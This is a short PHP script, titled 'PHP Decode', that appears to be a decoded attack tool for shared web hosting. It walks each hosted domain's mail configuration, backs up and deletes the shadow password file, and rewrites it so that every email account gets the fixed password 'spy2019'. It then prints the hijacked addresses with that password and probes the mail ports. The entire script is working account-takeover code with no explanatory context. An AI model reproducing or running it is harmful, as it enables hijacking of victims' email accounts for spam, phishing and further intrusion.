PHP Decode

<?php
 
set_time_limit(0);
 
ini_set('max_execution_time',0);
 
ini_set('memory_limit',-1);
 
// port to scan
 
$ports=array(25, 587, 465, 110, 995, 143 , 993);
 
$primary_port='25';
 
//curent user
 
$user=get_current_user();
 
// Smtp password
 
$password='spy2019';
 
//crypt
 
$pwd = crypt($password,'$6$spy2019$');
 
// host name
 
 $t = $_SERVER['SERVER_NAME'];
 
//edit
 
 $t = @str_replace("www.","",$t);
 
 
 
$dirs = glob('/home/'.$user.'/etc/*', GLOB_ONLYDIR);
 
foreach($dirs as $dir){
 
$ex = explode("/",$dir);
 
$site =  $ex[count($ex)-1];
 
 //get users
 
@$passwd = file_get_contents('/home/'.$user.'/etc/'.$site.'/shadow');
 
//edit
 
$ex=explode("
",$passwd);
 
//backup shadow
 
@link('/home/'.$user.'/etc/'.$site.'/shadow','/home/'.$user.'/etc/'.$site.'/shadow.spy2019.bak');
 
//delete shadow
 
@unlink('/home/'.$user.'/etc/'.$site.'/shadow');
 
// :D
 
foreach($ex as $ex){
 
$ex=explode(':',$ex);
 
$e= $ex[0];
 
if ($e){
 
$b=fopen('/home/'.$user.'/etc/'.$site.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."
");fclose($b);
 
echo $site.'|25|'.$e.'@'.$site.'|'.$password."</br>";
 
}}
 
//port scan
 
foreach ($ports as $port)
 
{
 
    $connection = @fsockopen($site, $port, $errno, $errstr, 2);
 
    if (is_resource($connection))
 
    {
 
        fclose($connection);
 
    }
 
	
 
}
 

 
}
 

 
 
 

 
?>